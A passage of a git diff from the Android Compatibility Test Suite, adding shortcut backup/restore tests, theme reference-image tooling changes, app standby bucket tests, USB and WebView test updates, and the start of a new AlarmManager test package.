+ runDeviceTestsAsUser(LAUNCHER4_PKG, ".ShortcutManagerPreBackupTest", getPrimaryUserId());
+
+ dumpsys("Before backup");
+
+ // Backup
+ doBackup();
+
+ // Uninstall all apps
+ uninstallPackageAndWaitUntilBroadcastsDrain(LAUNCHER4_PKG);
+ uninstallPackageAndWaitUntilBroadcastsDrain(PUBLISHER4_PKG);
+
+ // Make sure the shortcut service handled all the uninstall broadcasts.
+ waitUntilPackagesGone();
+
+ // Do it one more time just in case...
+ waitUntilBroadcastsDrain();
+
+ // Then restore
+ doRestore();
+
+ dumpsys("After restore");
+
+ // Install the nobackup version. Restoration is limited.
+ installAppAsUser(LAUNCHER4_NEW_APK, getPrimaryUserId());
+ installAppAsUser(PUBLISHER4_NEW_WRONGKEY_APK, getPrimaryUserId());
+ waitUntilBroadcastsDrain();
+
+ runDeviceTestsAsUser(PUBLISHER4_PKG, ".ShortcutManagerPostBackupTest",
+ "testRestoreWrongKey",
+ getPrimaryUserId());
+
+ runDeviceTestsAsUser(LAUNCHER4_PKG, ".ShortcutManagerPostBackupTest",
+ "testRestoreWrongKey",
+ getPrimaryUserId());
+ }
+
+ public void testBackupAndRestore_noManifestOnOldVersion() throws Exception {
+ if (!mSupportsBackup) {
+ return;
+ }
+ dumpsys("Test start");
+
+ // First, publish shortcuts from backup-ok version.
+
+ installAppAsUser(PUBLISHER4_NEW_APK, getPrimaryUserId());
+ installAppAsUser(LAUNCHER4_NEW_APK, getPrimaryUserId());
+
+ runDeviceTestsAsUser(PUBLISHER4_PKG, ".ShortcutManagerPreBackupTest", getPrimaryUserId());
+ runDeviceTestsAsUser(LAUNCHER4_PKG, ".ShortcutManagerPreBackupTest", getPrimaryUserId());
+
+ dumpsys("Before backup");
+
+ // Backup
+ doBackup();
+
+ // Uninstall all apps
+ uninstallPackageAndWaitUntilBroadcastsDrain(LAUNCHER4_PKG);
+ uninstallPackageAndWaitUntilBroadcastsDrain(PUBLISHER4_PKG);
+
+ // Make sure the shortcut service handled all the uninstall broadcasts.
+ waitUntilPackagesGone();
+
+ // Do it one more time just in case...
+ waitUntilBroadcastsDrain();
+
+ // Then restore
+ doRestore();
+
+ dumpsys("After restore");
+
+ // Install the nobackup version. Restoration is limited.
+ installAppAsUser(LAUNCHER4_NEW_APK, getPrimaryUserId());
+ installAppAsUser(PUBLISHER4_OLD_NO_MANIFST_APK, getPrimaryUserId());
+ waitUntilBroadcastsDrain();
+
+ runDeviceTestsAsUser(PUBLISHER4_PKG, ".ShortcutManagerPostBackupTest",
+ "testRestoreNoManifestOnOldVersion",
+ getPrimaryUserId());
+
+ runDeviceTestsAsUser(LAUNCHER4_PKG, ".ShortcutManagerPostBackupTest",
+ "testRestoreNoManifestOnOldVersion",
+ getPrimaryUserId());
+ }
+
+ public void testBackupAndRestore_noManifestOnNewVersion() throws Exception {
+ if (!mSupportsBackup) {
+ return;
+ }
+ dumpsys("Test start");
+
+ // First, publish shortcuts from backup-ok version.
+
+ installAppAsUser(PUBLISHER4_NEW_APK, getPrimaryUserId());
+ installAppAsUser(LAUNCHER4_NEW_APK, getPrimaryUserId());
+
+ runDeviceTestsAsUser(PUBLISHER4_PKG, ".ShortcutManagerPreBackupTest", getPrimaryUserId());
+ runDeviceTestsAsUser(LAUNCHER4_PKG, ".ShortcutManagerPreBackupTest", getPrimaryUserId());
+
+ dumpsys("Before backup");
+
+ // Backup
+ doBackup();
+
+ // Uninstall all apps
+ uninstallPackageAndWaitUntilBroadcastsDrain(LAUNCHER4_PKG);
+ uninstallPackageAndWaitUntilBroadcastsDrain(PUBLISHER4_PKG);
+
+ // Make sure the shortcut service handled all the uninstall broadcasts.
+ waitUntilPackagesGone();
+
+ // Do it one more time just in case...
+ waitUntilBroadcastsDrain();
+
+ // Then restore
+ doRestore();
+
+ dumpsys("After restore");
+
+ // Install the nobackup version. Restoration is limited.
+ installAppAsUser(LAUNCHER4_NEW_APK, getPrimaryUserId());
+ installAppAsUser(PUBLISHER4_NEW_NO_MANIFST_APK, getPrimaryUserId());
+ waitUntilBroadcastsDrain();
+
+ runDeviceTestsAsUser(PUBLISHER4_PKG, ".ShortcutManagerPostBackupTest",
+ "testRestoreNoManifestOnNewVersion",
+ getPrimaryUserId());
+
+ runDeviceTestsAsUser(LAUNCHER4_PKG, ".ShortcutManagerPostBackupTest",
+ "testRestoreNoManifestOnNewVersion",
+ getPrimaryUserId());
+ }
+
+ /**
+ * Make sure invisible shortcuts are ignored by all API calls.
+ *
+ * (Restore from new to old-nomanifest)
+ */
+ public void testBackupAndRestore_invisibleIgnored() throws Exception {
+ if (!mSupportsBackup) {
+ return;
+ }
+ dumpsys("Test start");
+
+ // First, publish shortcuts from backup-ok version.
+
+ installAppAsUser(PUBLISHER4_NEW_APK, getPrimaryUserId());
+ installAppAsUser(LAUNCHER4_NEW_APK, getPrimaryUserId());
+
+ runDeviceTestsAsUser(PUBLISHER4_PKG, ".ShortcutManagerPreBackupTest", getPrimaryUserId());
+ runDeviceTestsAsUser(LAUNCHER4_PKG, ".ShortcutManagerPreBackupTest", getPrimaryUserId());
+
+ dumpsys("Before backup");
+
+ // Backup
+ doBackup();
+
+ // Uninstall all apps
+ uninstallPackageAndWaitUntilBroadcastsDrain(LAUNCHER4_PKG);
+ uninstallPackageAndWaitUntilBroadcastsDrain(PUBLISHER4_PKG);
+
+ // Make sure the shortcut service handled all the uninstall broadcasts.
+ waitUntilPackagesGone();
+
+ // Do it one more time just in case...
+ waitUntilBroadcastsDrain();
+
+ // Then restore
+ doRestore();
+
+ dumpsys("After restore");
+
+ // Install the nobackup version. Restoration is limited.
+ installAppAsUser(LAUNCHER4_NEW_APK, getPrimaryUserId());
+ installAppAsUser(PUBLISHER4_OLD_NO_MANIFST_APK, getPrimaryUserId());
+ waitUntilBroadcastsDrain();
+
+ runDeviceTestsAsUser(PUBLISHER4_PKG, ".ShortcutManagerPostBackupTest",
+ "testInvisibleIgnored",
+ getPrimaryUserId());
+
+ runDeviceTestsAsUser(LAUNCHER4_PKG, ".ShortcutManagerPostBackupTest",
+ "testInvisibleIgnored",
+ getPrimaryUserId());
+ }
+
public void testBackupAndRestore_withNoUninstall() throws Exception {
if (!mSupportsBackup) {
return;
diff --git a/hostsidetests/theme/README b/hostsidetests/theme/README
index 4f93e5a..4bf32cd 100644
--- a/hostsidetests/theme/README
+++ b/hostsidetests/theme/README
@@ -67,6 +67,22 @@
./cts/hostsidetests/theme/generate_images.py
+There is an option to build locally an Android system image and use an emulator that is stored in
+Android source tree under "prebuilts/android-emulator/linux-x86_64/emulator". This option does not
+require a SDK and can be used to generate images with locally modified source code: for example
+right before making a test breaking change.
+
+ 1. From the console, set up your build environment for sdk_phone_x86_64 and build Android and CTS:
+
+ lunch sdk_phone_x86_64-userdebug && make -j32 && make cts -j32
+
+ 2. Use the reference image script to generate the reference images. The script
+ will automatically start the emulator in the required configurations and
+ install the resulting reference images in assets/<platform>/<dpi>.zip,
+ overwriting any existing images.
+
+ ./cts/hostsidetests/theme/generate_images.py local
+
A complete collection of reference images for a given API revision must include
a set for each possible DPI bucket (tvdpi, xxhdpi, etc.) that may be tested.
diff --git a/hostsidetests/theme/assets/P b/hostsidetests/theme/assets/P
deleted file mode 120000
index a5c750f..0000000
--- a/hostsidetests/theme/assets/P
+++ /dev/null
@@ -1 +0,0 @@
-27
\ No newline at end of file
diff --git a/hostsidetests/theme/assets/P/260dpi.zip b/hostsidetests/theme/assets/P/260dpi.zip
new file mode 100644
index 0000000..592b4a6
--- /dev/null
+++ b/hostsidetests/theme/assets/P/260dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/280dpi.zip b/hostsidetests/theme/assets/P/280dpi.zip
new file mode 100644
index 0000000..a7e07a7
--- /dev/null
+++ b/hostsidetests/theme/assets/P/280dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/300dpi.zip b/hostsidetests/theme/assets/P/300dpi.zip
new file mode 100644
index 0000000..1f38851
--- /dev/null
+++ b/hostsidetests/theme/assets/P/300dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/340dpi.zip b/hostsidetests/theme/assets/P/340dpi.zip
new file mode 100644
index 0000000..3eb10c8
--- /dev/null
+++ b/hostsidetests/theme/assets/P/340dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/360dpi.zip b/hostsidetests/theme/assets/P/360dpi.zip
new file mode 100644
index 0000000..7da3a6d
--- /dev/null
+++ b/hostsidetests/theme/assets/P/360dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/400dpi.zip b/hostsidetests/theme/assets/P/400dpi.zip
new file mode 100644
index 0000000..0b2293a
--- /dev/null
+++ b/hostsidetests/theme/assets/P/400dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/420dpi.zip b/hostsidetests/theme/assets/P/420dpi.zip
new file mode 100644
index 0000000..8a93daa
--- /dev/null
+++ b/hostsidetests/theme/assets/P/420dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/560dpi.zip b/hostsidetests/theme/assets/P/560dpi.zip
new file mode 100644
index 0000000..4c975b2
--- /dev/null
+++ b/hostsidetests/theme/assets/P/560dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/hdpi.zip b/hostsidetests/theme/assets/P/hdpi.zip
new file mode 100644
index 0000000..38dbf01
--- /dev/null
+++ b/hostsidetests/theme/assets/P/hdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/ldpi.zip b/hostsidetests/theme/assets/P/ldpi.zip
new file mode 100644
index 0000000..cb8377e
--- /dev/null
+++ b/hostsidetests/theme/assets/P/ldpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/mdpi.zip b/hostsidetests/theme/assets/P/mdpi.zip
new file mode 100644
index 0000000..a57e44c
--- /dev/null
+++ b/hostsidetests/theme/assets/P/mdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/tvdpi.zip b/hostsidetests/theme/assets/P/tvdpi.zip
new file mode 100644
index 0000000..bae75c2
--- /dev/null
+++ b/hostsidetests/theme/assets/P/tvdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/xhdpi.zip b/hostsidetests/theme/assets/P/xhdpi.zip
new file mode 100644
index 0000000..ea545c5
--- /dev/null
+++ b/hostsidetests/theme/assets/P/xhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/xxhdpi.zip b/hostsidetests/theme/assets/P/xxhdpi.zip
new file mode 100644
index 0000000..7621330
--- /dev/null
+++ b/hostsidetests/theme/assets/P/xxhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/xxxhdpi.zip b/hostsidetests/theme/assets/P/xxxhdpi.zip
new file mode 100644
index 0000000..8690618
--- /dev/null
+++ b/hostsidetests/theme/assets/P/xxxhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/avd.py b/hostsidetests/theme/avd.py
index 4c444a2..2a43129 100644
--- a/hostsidetests/theme/avd.py
+++ b/hostsidetests/theme/avd.py
@@ -46,8 +46,12 @@
port_adb = find_free_port()
port_tty = find_free_port()
# -no-window might be useful here
- emu_cmd = "%s -avd %s %s-ports %d,%d" \
- % (self._emu_path, self._name, self._opts, port_adb, port_tty)
+ if self._name == "local":
+ emu_cmd = "emulator %s-ports %d,%d -gpu on -wipe-data" \
+ % (self._opts, port_adb, port_tty)
+ else:
+ emu_cmd = "%s -avd %s %s-ports %d,%d" \
+ % (self._emu_path, self._name, self._opts, port_adb, port_tty)
print(emu_cmd)
emu_proc = subprocess.Popen(emu_cmd.split(" "), bufsize=-1, stdout=subprocess.PIPE,
diff --git a/hostsidetests/theme/generate_images.py b/hostsidetests/theme/generate_images.py
index 8b70f00..5dcc76f 100755
--- a/hostsidetests/theme/generate_images.py
+++ b/hostsidetests/theme/generate_images.py
@@ -50,7 +50,7 @@
class ParallelExecutor(threading.Thread):
- def __init__(self, tasks, q):
+ def __init__(self, tasks, setup, q):
threading.Thread.__init__(self)
self._q = q
self._tasks = tasks
@@ -60,7 +60,7 @@
def run(self):
try:
while True:
- config = q.get(block=True, timeout=2)
+ config = self._q.get(block=True, timeout=2)
for t in self._tasks:
try:
if t(self._setup, config):
@@ -70,7 +70,7 @@
except:
print("Failed to execute thread:", sys.exc_info()[0])
traceback.print_exc()
- q.task_done()
+ self._q.task_done()
except KeyboardInterrupt:
raise
except Empty:
@@ -86,7 +86,7 @@
result = 0
threads = []
for i in range(num_threads):
- t = ParallelExecutor(tasks, q)
+ t = ParallelExecutor(tasks, setup, q)
t.start()
threads.append(t)
for t in threads:
@@ -181,7 +181,10 @@
def start_emulator(name, density):
- emu_path = get_emulator_path()
+ if name == "local":
+ emu_path = ""
+ else:
+ emu_path = get_emulator_path()
# Start emulator for 560dpi, normal screen size.
test_avd = AVD(name, emu_path)
@@ -226,18 +229,21 @@
tasks = [do_capture]
setup = (theme_apk, out_path)
- devices = enumerate_android_devices('emulator')
+ devices = enumerate_android_devices()
- device_queue = Queue()
- for device in devices:
- device_queue.put(device)
+ if len(devices) > 0:
+ device_queue = Queue()
+ for device in devices:
+ device_queue.put(device)
- result = execute_parallel(tasks, setup, device_queue, len(devices))
+ result = execute_parallel(tasks, setup, device_queue, len(devices))
- if result > 0:
- print('Generated reference images for %(count)d devices' % {"count": result})
+ if result > 0:
+ print('Generated reference images for %(count)d devices' % {"count": result})
+ else:
+ print('Failed to generate reference images')
else:
- print('Failed to generate reference images')
+ print('No devices found')
if __name__ == '__main__':
diff --git a/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java b/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
index 5c82e2a..017febc 100644
--- a/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
+++ b/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
@@ -93,7 +93,7 @@
mDevice = getDevice();
mHardwareType = mDevice.executeShellCommand(HARDWARE_TYPE_CMD).trim();
- final String density = getDensityBucketForDevice(mDevice, mHardwareType);
+ final String density = getDensityBucketForDevice(mDevice);
final String referenceZipAssetPath = String.format("/%s.zip", density);
mReferences = extractReferenceImages(referenceZipAssetPath);
@@ -231,11 +231,7 @@
return receiver.getOutput().contains("OK ");
}
- private static String getDensityBucketForDevice(ITestDevice device, String hardwareType) {
- if (hardwareType.contains("android.hardware.type.television")) {
- // references images for tv are under bucket "tvdpi".
- return "tvdpi";
- }
+ private static String getDensityBucketForDevice(ITestDevice device) {
final int density;
try {
density = getDensityForDevice(device);
@@ -250,6 +246,9 @@
case 160:
bucket = "mdpi";
break;
+ case 213:
+ bucket = "tvdpi";
+ break;
case 240:
bucket = "hdpi";
break;
diff --git a/hostsidetests/usage/src/android/app/usage/cts/AppIdleHostTest.java b/hostsidetests/usage/src/android/app/usage/cts/AppIdleHostTest.java
index 3cd7bda..7f4f550 100644
--- a/hostsidetests/usage/src/android/app/usage/cts/AppIdleHostTest.java
+++ b/hostsidetests/usage/src/android/app/usage/cts/AppIdleHostTest.java
@@ -16,10 +16,16 @@
package android.app.usage.cts;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceTestCase;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
public class AppIdleHostTest extends DeviceTestCase {
private static final String SETTINGS_APP_IDLE_CONSTANTS = "app_idle_constants";
@@ -28,6 +34,12 @@
private static final long ACTIVITY_LAUNCH_WAIT_MILLIS = 500;
+ private static final int SB_ACTIVE = 10;
+ private static final int SB_WORKING_SET = 20;
+ private static final int SB_FREQUENT = 30;
+ private static final int SB_RARE = 40;
+ private static final int SB_NEVER = 50;
+
/**
* A reference to the device under test.
*/
@@ -104,6 +116,47 @@
}
}
+ private void setAppStandbyBucket(String packageName, int bucket) throws Exception {
+ mDevice.executeShellCommand(
+ String.format("am set-standby-bucket %s %s", packageName, bucket));
+ }
+
+ private int getAppStandbyBucket(String packageName) throws Exception {
+ String bucketString = mDevice.executeShellCommand(
+ String.format("am get-standby-bucket %s", packageName));
+ System.err.println(bucketString);
+ try {
+ return Integer.parseInt(bucketString.trim());
+ } catch (NumberFormatException nfe) {
+ }
+ return -1;
+ }
+
+ public void testSetAppStandbyBucket() throws Exception {
+ // Set to ACTIVE
+ setAppStandbyBucket(TEST_APP_PACKAGE, SB_ACTIVE);
+ assertEquals(SB_ACTIVE, getAppStandbyBucket(TEST_APP_PACKAGE));
+ // set to WORKING_SET
+ setAppStandbyBucket(TEST_APP_PACKAGE, 20);
+ assertEquals(20, getAppStandbyBucket(TEST_APP_PACKAGE));
+ }
+
+ public void testCantSetOwnStandbyBucket() throws Exception {
+ setAppStandbyBucket("com.android.shell", 40);
+ assertNotEquals(40, getAppStandbyBucket("com.android.shell"));
+ }
+
+ public void testOutOfBoundsStandbyBucket() throws Exception {
+ setAppStandbyBucket(TEST_APP_PACKAGE, SB_ACTIVE);
+ assertEquals(SB_ACTIVE, getAppStandbyBucket(TEST_APP_PACKAGE));
+ // Try lower than min
+ setAppStandbyBucket(TEST_APP_PACKAGE, SB_ACTIVE - 1);
+ assertEquals(SB_ACTIVE, getAppStandbyBucket(TEST_APP_PACKAGE));
+ // Try higher than max
+ setAppStandbyBucket(TEST_APP_PACKAGE, 50 + 1);
+ assertEquals(SB_ACTIVE, getAppStandbyBucket(TEST_APP_PACKAGE));
+ }
+
private static void sleepUninterrupted(long timeMillis) {
boolean interrupted;
do {
diff --git a/hostsidetests/usb/SerialTestApp/AndroidManifest.xml b/hostsidetests/usb/SerialTestApp/AndroidManifest.xml
index a75dd75..7c627ee 100644
--- a/hostsidetests/usb/SerialTestApp/AndroidManifest.xml
+++ b/hostsidetests/usb/SerialTestApp/AndroidManifest.xml
@@ -17,6 +17,10 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.android.cts.usb.serialtest">
+ <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="28" />
+
+ <uses-permission android:name="android.permission.READ_PHONE_STATE" />
+
<application>
<uses-library android:name="android.test.runner" />
</application>
diff --git a/hostsidetests/usb/SerialTestApp/src/com/android/cts/usb/serialtest/UsbSerialTest.java b/hostsidetests/usb/SerialTestApp/src/com/android/cts/usb/serialtest/UsbSerialTest.java
index a2b0c72..f47c2d2 100644
--- a/hostsidetests/usb/SerialTestApp/src/com/android/cts/usb/serialtest/UsbSerialTest.java
+++ b/hostsidetests/usb/SerialTestApp/src/com/android/cts/usb/serialtest/UsbSerialTest.java
@@ -28,6 +28,6 @@
private static final String TAG = "CtsUsbSerialTest";
public void testSerial() throws Exception {
- Log.e(TAG, Build.SERIAL);
+ Log.e(TAG, Build.getSerial());
}
}
diff --git a/hostsidetests/usb/src/com/android/cts/usb/TestUsbTest.java b/hostsidetests/usb/src/com/android/cts/usb/TestUsbTest.java
index 81cc265..47efe85 100644
--- a/hostsidetests/usb/src/com/android/cts/usb/TestUsbTest.java
+++ b/hostsidetests/usb/src/com/android/cts/usb/TestUsbTest.java
@@ -65,7 +65,7 @@
CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mBuild);
File app = buildHelper.getTestFile(APK_NAME);
String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
- mDevice.installPackage(app, false, options);
+ mDevice.installPackage(app, false, true, options);
}
@Override
diff --git a/hostsidetests/webkit/src/com/android/cts/webkit/WebViewHostSideStartupTest.java b/hostsidetests/webkit/src/com/android/cts/webkit/WebViewHostSideStartupTest.java
index 53f4a49..5953c5d 100644
--- a/hostsidetests/webkit/src/com/android/cts/webkit/WebViewHostSideStartupTest.java
+++ b/hostsidetests/webkit/src/com/android/cts/webkit/WebViewHostSideStartupTest.java
@@ -17,12 +17,13 @@
import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
import com.android.ddmlib.testrunner.TestResult.TestStatus;
+import com.android.ddmlib.testrunner.TestResult;
import com.android.ddmlib.testrunner.TestRunResult;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.result.CollectingTestListener;
import com.android.tradefed.testtype.DeviceTestCase;
-import java.util.Map;
+import java.util.Collection;
public class WebViewHostSideStartupTest extends DeviceTestCase {
private static final String RUNNER = "android.support.test.runner.AndroidJUnitRunner";
@@ -35,26 +36,35 @@
}
public void testCookieManager() throws DeviceNotAvailableException {
- assertTrue(runDeviceTest(DEVICE_WEBVIEW_STARTUP_PKG, DEVICE_WEBVIEW_STARTUP_TEST_CLASS,
- "testCookieManagerBlockingUiThread"));
+ assertDeviceTestPasses("testCookieManagerBlockingUiThread");
}
public void testWebViewVersionApiOnUiThread() throws DeviceNotAvailableException {
- assertTrue(runDeviceTest(DEVICE_WEBVIEW_STARTUP_PKG, DEVICE_WEBVIEW_STARTUP_TEST_CLASS,
- "testGetCurrentWebViewPackageOnUiThread"));
+ assertDeviceTestPasses("testGetCurrentWebViewPackageOnUiThread");
}
public void testWebViewVersionApi() throws DeviceNotAvailableException {
- assertTrue(runDeviceTest(DEVICE_WEBVIEW_STARTUP_PKG, DEVICE_WEBVIEW_STARTUP_TEST_CLASS,
- "testGetCurrentWebViewPackage"));
+ assertDeviceTestPasses("testGetCurrentWebViewPackage");
}
public void testStrictMode() throws DeviceNotAvailableException {
- assertTrue(runDeviceTest(DEVICE_WEBVIEW_STARTUP_PKG, DEVICE_WEBVIEW_STARTUP_TEST_CLASS,
- "testStrictModeNotViolatedOnStartup"));
+ assertDeviceTestPasses("testStrictModeNotViolatedOnStartup");
}
- private boolean runDeviceTest(String packageName, String testClassName,
+ private void assertDeviceTestPasses(String testMethodName) throws DeviceNotAvailableException {
+ TestRunResult testRunResult = runSingleDeviceTest(DEVICE_WEBVIEW_STARTUP_PKG,
+ DEVICE_WEBVIEW_STARTUP_TEST_CLASS,
+ testMethodName);
+ assertTrue(testRunResult.isRunComplete());
+
+ Collection<TestResult> testResults = testRunResult.getTestResults().values();
+ // We're only running a single test.
+ assertEquals(1, testResults.size());
+ TestResult testResult = testResults.toArray(new TestResult[1])[0];
+ assertTrue(testResult.getStackTrace(), TestStatus.PASSED.equals(testResult.getStatus()));
+ }
+
+ private TestRunResult runSingleDeviceTest(String packageName, String testClassName,
String testMethodName) throws DeviceNotAvailableException {
testClassName = packageName + "." + testClassName;
@@ -65,7 +75,6 @@
CollectingTestListener listener = new CollectingTestListener();
assertTrue(getDevice().runInstrumentationTests(testRunner, listener));
- TestRunResult runResult = listener.getCurrentRunResults();
- return !runResult.hasFailedTests() && runResult.getNumTestsInState(TestStatus.PASSED) > 0;
+ return listener.getCurrentRunResults();
}
}
diff --git a/tests/AlarmManager/Android.mk b/tests/AlarmManager/Android.mk
new file mode 100755
index 0000000..a1676ab
--- /dev/null
+++ b/tests/AlarmManager/Android.mk
@@ -0,0 +1,38 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target.
+LOCAL_MODULE_TAGS := optional
+
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_STATIC_JAVA_LIBRARIES := ub-uiautomator android-support-test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_SRC_FILES += $(call all-java-files-under, app/src)
+
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := CtsAlarmManagerTestCases
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_CTS_PACKAGE)
+
+include $(call all-makefiles-under, $(LOCAL_PATH))
diff --git a/tests/AlarmManager/AndroidManifest.xml b/tests/AlarmManager/AndroidManifest.xml
new file mode 100644
index 0000000..f557b51
--- /dev/null
+++ b/tests/AlarmManager/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.alarmmanager.cts" >
+
+ <application android:label="Cts Alarm Manager Test">
+ <uses-library android:name="android.test.runner"/>
+ </application>
+
+ <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:functionalTest="true"
+ android:targetPackage="android.alarmmanager.cts"
+ android:label="Alarm Manager Tests"/>
+</manifest>
diff --git a/tests/AlarmManager/AndroidTest.xml b/tests/AlarmManager/AndroidTest.xml
new file mode 100644
index 0000000..a31e6da
--- /dev/null
+++ b/tests/AlarmManager/AndroidTest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<configuration description="Config for CTS Alarm Manager test cases">
+ <option name="config-descriptor:metadata" key="component" value="framework" />
+
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsAlarmManagerTestCases.apk" />
+ <option name="test-file-name" value="AlarmTestApp.apk" />
+ </target_preparer>
+
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.alarmmanager.cts" />
+ <option name="runtime-hint" value="1m" />
+ </test>
+
+</configuration>
diff --git a/tests/AlarmManager/app/Android.mk b/tests/AlarmManager/app/Android.mk
new file mode 100644
index 0000000..b2023e9
--- /dev/null
+++ b/tests/AlarmManager/app/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SDK_VERSION := current
+
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := AlarmTestApp
+
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/AlarmManager/app/AndroidManifest.xml b/tests/AlarmManager/app/AndroidManifest.xml
new file mode 100644
index 0000000..ceb8fb9
--- /dev/null
+++ b/tests/AlarmManager/app/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.alarmmanager.alarmtestapp.cts">
+
+ <application>
+ <activity android:name=".TestAlarmActivity"
+ android:exported="true" />
+ <receiver android:name=".TestAlarmReceiver" />
+ </application>
+
+</manifest>
\ No newline at end of file
diff --git a/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmActivity.java b/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmActivity.java
new file mode 100644
index 0000000..8f666dd8
--- /dev/null
+++ b/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmActivity.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.alarmmanager.alarmtestapp.cts;
+
+import android.app.Activity;
